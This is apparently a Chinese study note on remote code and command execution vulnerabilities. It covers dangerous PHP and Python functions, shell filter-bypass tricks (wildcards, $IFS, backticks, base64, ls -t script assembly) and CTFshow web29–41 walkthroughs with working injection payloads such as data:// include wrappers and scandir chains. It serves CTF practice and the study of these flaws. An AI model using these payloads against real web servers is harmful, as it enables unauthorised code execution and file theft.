RCE

远程命令执行/远程代码执行

代码执行和命令执行可以互相转换

代码执行:

  1. 脚本——java,php,python
  2. 产生——Web源码、中间件平台、其他环境
  3. 检测——白盒 代码审计
  4. 检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点
  5. 防御——敏感函数禁用、变量过滤或固定、WAF产品

命令执行:

  1. 系统——Linux、Windows
  2. 产生——web源码、中间件平台、其他环境
  3. 检测——白盒 代码审计
  4. 检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点
  5. 防御——敏感函数禁用、变量过滤或固定、WAF产品

漏洞函数

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
eval exec subprocess os.system commands 
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

exec、shell_exec前面需要加echo

绕过

关键字过滤 - 过滤 flag

通配符绕过

flag=fl*
cat fl*
cat ?la*

转义符号

ca\t /fl\ag
cat fl''ag

使用空变量∗ 和 *和∗和@,x , x,x,{x}绕过

ca$*t fl$*ag
ca$@t fl$@ag
ca$5t f$5lag
ca${2}t f${2}lag

$x设置一个变量,但没有对变量赋值,为空,不影响前后命令执行

拼接法

a=fl;b=ag;cat$IFS$a$b

${IFS},Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。

反引号绕过

cat `ls`   //在php中这个`反引号代表执行命令的意思

编码绕过

echo 'flag' | base64	//获得flag的base64编码
cat `echo ZmxhZwo= | base64 -d` //输出,并进行base64解码 -d表示解码,解码后为flag,相当于cat flag

组合绝活

touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell //-t是指以时间来展示文件
sh shell
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行

异或无符号(过滤0-9a-zA-Z)

复现不成功..

异或

rce-xor.php:

生成的txt内容就是异或得到字符

rce-xor.py:构造payload

rce-xor-or.php

rce-xor-or.py:构造payload

过滤执行命令(如cat tac等)

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag

过滤执行空格

%09(url传递)(cat%09flag.php)//%09是换行符的url编码
cat${IFS}flag
a=fl;b=ag;cat$IFS$a$b
{cat,flag}

${IFS},Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。

无回显利用

大多数漏洞的无回显都是两种利用思路:带外和写文件

写文件

通过命令执行写个文件到当前目录下的x.txt中,再访问x.txt看看有无结果

带外访问dnslog

命令执行执行ping命令

白盒-CTFshow

29-通配符绕过

c参数GET型传参

过滤flag关键字

?c=system('ls');
?c=system('tac fl*.php');

30-system被过滤,使用exec

system被过滤

使用exec

payload:

?c=echo shell_exec('tac fl*');

31-参数逃逸

仍然是过滤system等,shell也被过滤

payload:

?c=eval($_GET[a]);&a=system('tac flag.php');  //为什么这样写,因为代码只检测参数c

代码只检测过滤c的内容,我们将命令执行的结果赋值给变量a,再将a传递过去进行eval代码执行,将执行结果给c,c传递到服务器代码执行

32-36-结合文件包含使用

32

分号也被过滤,不能参数逃逸

手动添加include,联合文件包含,使用伪协议

<?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞
<?php include $_GET[x];?> 这种通过动态变量的传参才存在文件包含漏洞

因为空格,单引号被过滤

payload:

?c=include$_GET[a]?>&a=data://text/plain,<?=system('ls');?>

33

又加了(和”的过滤,继续使用文件包含

?c=include$_GET[a]?>&a=data://text/plain,<?=system('ls');?>

34

:也被过滤了,继续文件包含

?c=include$_GET[a]?>&a=data://text/plain,<?php system('tac flag.php');?>

35

<和=也被过滤了,继续文件包含

?c=include$_GET[a]?>&a=data://text/plain,<?php system('tac flag.php');?>

36

/和数字0-9也被过滤,继续文件包含

?c=include$_GET[a]?>&a=data://text/plain,<?php system('tac flag.php');?>

37-文件包含

如果c中没有flag字样,就对c进行文件包含,有include,直接php伪协议,对flag过滤了,使用通配符绕过

?c=data://text/plain,<?php system('tac fl*.php');?>

还可以用data的base64绕过

38-

php也被过滤,换种写法

?c=data://text/plain,<?=system('tac fl*');?>

同样也可以使用data-base64

39

在文件包含时强行加了后缀,但是这里没有影响,继续使用伪协议

为什么没有影响呢??>已经闭合PHP语句?

40-无符号payload

ctfshow-web入门命令执行-web40/web41(附python脚本) - Aninock - 博客园

过滤了很多东西,但是过滤的是中文括号,不是英文括号,构造只含有英文括号的payload

打印当初路径下文件的函数:print_r(scandir(‘.’))

单引号和小数点已经过滤了,这里要先绕过

最简单的方法是利用函数传参,那就找当前能用包含小数点的函数

localeconv() 返回一包含本地数字及货币格式信息的数组

<?php
print_r(localeconv());
?>

我们需要获得这个数组的第一个索引值

接下来思路就是构造:print_r(scandir(localeconv()[0]))

但是这个函数是不能localeconv()[0]这样返回的,而且方括号也被过滤了,那么就要用到别的函数

  1. current() 函数返回数组中的当前元素(单元),默认取第一个值,
  2. pos() 同 current() ,是current()的别名
  3. reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

这里三个函数都可以用

因此打印当前目录:

<?php
print_r(scandir(current(localeconv())));
?>

当前目录为数组打印,继续获得目录数组的具体内容

这里可以的用next()

输出数组中的当前元素的下一个元素的值,也就是可以输出第二个(还有end可以输出最后一个)

但是flag在第三个怎么办?可以用array_reverse函数

这个函数就是将数组转置;

最终payload:

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

show_source也可以换成highlight_file

41

分析正则,貌似过滤了所有数字和小写字母,后面还有个/i,大写字母也没了

其实看到这种全过滤,反倒是只有一种解法,就是构造字符串

& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符

继续使用大佬的脚本https://www.cnblogs.com/aninock/p/15125215.html

如果出现了报错可以将url中的http改为https

黑盒

要思考哪些功能点会执行代码或者命令,但是这种不太常见,也可以直接利用工具帮忙探测(awvs、xray等)